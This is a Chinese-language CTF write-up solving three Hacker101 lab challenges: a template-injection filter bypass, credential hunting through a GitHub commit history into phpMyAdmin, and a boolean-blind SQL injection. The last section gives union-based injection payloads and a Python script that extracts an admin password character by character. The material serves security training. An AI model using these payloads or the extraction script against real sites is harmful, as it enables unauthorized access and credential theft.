本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
简介:Hacker101是世界上最大的赏金猎人网站Hackerone的教程靶场。
知识点:模板注入、信息收集、不一样的sql盲注。
注:计划是这个靶场分成两篇的,但是这个靶场里面总是给我新惊喜,解题花了很长时间,现在还没解完。而且我想把靶场说清楚写了很长,所以需要再分一下。这篇是发第六、七、八Flag(靶场)
今天的写的靶场是Hate Mail Generator、Forum、Evil Quiz这三个:
Hate Mail Generator – Flag 6
主页/hate-mail-generator/如下,可用链接有。
唯一的活动:/hate-mail-generator/91d45040151b681549d82d8065d43030/
创建:/hate-mail-generator/new/
图2:主页
活动点开后是详情页面,内容无法编辑。里面有个Markup,感觉应该类似Markdown语句。有特殊的语句,唯一可点击按钮为Preiview,Preview的功能就是预览Markup语句效果。
图3:活动详情
图4:Markup解析
进入create new界面,里面是可以编辑的,猜测是Markup语句引用敏感信息。
先对目录/hate-mail-generator/进行扫描,得到/hate-mail-generator/templates/,访问有三个html文件,访问都是403。其中两个文件在唯一活动的Markup代码中有引用。
图5:templates
尝试在创建时引用cbdj3_grinch_footer.html文件,提示没有权限查看该文件。
{{template:38dhs_admins_only_header.html}}
图6:尝试直接引入敏感文件
猜测是模板注入,经过多次测试,发现如下代码可以绕过过滤,成功获取Flag 6。
解析:Markup可以直接引入变量{{name}},name要在preview_data中定义。
{{template:xxx}}可以引入/templates/下面的文件。
在preview_data定义test变量的变量值中引入templates的敏感文件,再在priew_markdown中引入定义的变量test即可绕过过滤。
preview_markup={{test}}&preview_data={"test":"{{template:38dhs_admins_only_header.html}}"}
图7:获取Flag
Forum | Flag 7
主页如下,是一个论坛列表,看图中说admin才能查看Admin模块,那么应该是想办法获取Admin权限。
在General模块可以收集到用户grinch和max。
登录列表为:/forum/login
扫描目录发现/forum/phpmyadmin
图8:主页
对/forum/login和/forum/phpmyadmin使用用户grinch和max进行登录暴力破解,没有结果,然后尝试了其它方法都无效。
图9:phpmyadmin登录
这里考察的是信息收集能力。需要在github上搜索"You need to be an admin to view these posts",可以找到和该靶场相关的代码。(搜索时必须加双引号)
但是在代码中并没有找到可以进入下一步的信息,我也被卡在这一步。
图9:github搜索
网上查看其它文章,要在该代码的历史记录修改记录里面查找,能找到/forum/phpmyadmin的用户密码。涨了姿势。
图10:github历史修改记录
图11:github获取用户名密码
使用获取的用户名密码登录/forum/phpmyadmin,在user表里面发现grinch和max的用户名和hash密码。对密码进行MD5解密得到用户名密码:grinch | BahHumbug。
图12:进入phpmyadmin
使用用户名密码登录/forum/login,在Admin模块发现Flag 7。
图13:获取Flag
Evil Quiz | Flag 8
主页如下,功能流程是输入名字(Your Name),然后答题(QuiZ),会根据答题结果进行评分(Score)。
名字(Your Name):/evil-quiz/的post请求,参数为name。
答题(QuiZ):/evil-quiz/start/的post请求,参数为ques_1=0&ques_2=0&ques_3=0
Admin是个登录界面:/evil-quiz/admin/
图14:主页
评分界面(Score)是重点,上面红色框为名字。下面红色框会显示有多少个名字和你一样。
经测试,输入任意用户名都会显示1,但是输入sql注入语句报错则会显示0。
图15:score界面
进行sql注入测试,因为表名,字段名都比较简单,猜解几次就猜解出来了,最后到求密码时才使用代码跑。语句正确返回1,错误返回0
# 原名字,返回1
name=name
# 测试sql注入,返回0
name=name'
# 测试字段数
name=name'+union+select+1,2,3,4%23
# 测试表名
name'+union+select+1,2,3,4+from+admin%23
# 测试字段名username和password
name'+union+select+1,2,3,4+from+admin+where+username+like+'%'%23
name'+union+select+1,2,3,4+from+admin+where+password+like+'%'%23
# 测试用户名
name'+union+select+1,2,3,4+from+admin+where+username+=+'admin'%23
# 测试密码
name'+union+select+1,2,3,4+from+admin+where+username+=+'admin'+and+password+like+'a%'%23
最后使用如下代码可以跑出用户密码(代码中的去除后才是最终密码):admin | S3creT_p4ssw0rd-$
登录后获取Flag 8:
import requests
import re
def sql(name):
url = "https://ec9045864175b8ee48f28e832dc99b06.ctf.hacker101.com/evil-quiz/"
r = requests.post(url, data = {'name': name},
cookies = {'quizsession': '320af10a65039a9797fbbdf0b83569eb'}, # 传递cookie
allow_redirects=False)
r = requests.get(url+"score/",
cookies = {'quizsession': '320af10a65039a9797fbbdf0b83569eb'}, # 传递cookie
allow_redirects=False)
result = re.findall(r'There is (d) other player(s) with the same name as you!', r.text)
print(name, result[0])
return result[0]
password = ""
while True:
for i in range(32,128):
sqlPasschar = password + chr(i)
if chr(i) == "%":
sqlPasschar = password + "%"
if chr(i) == "_":
sqlPasschar = password + "_"
name = "name' union select 1,2,3,4 from admin where password like binary '" + sqlPasschar + "%'#"
if int(sql(name))==1:
password = sqlPasschar
print(password)
break
if i == 127:
break
print(password)
图16:获取密码
图17:获取Flag
感谢收看!
原文始发于微信公众号(Rsec):[Hacker101靶场] HackyholidaysCTF-2[moderate]
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论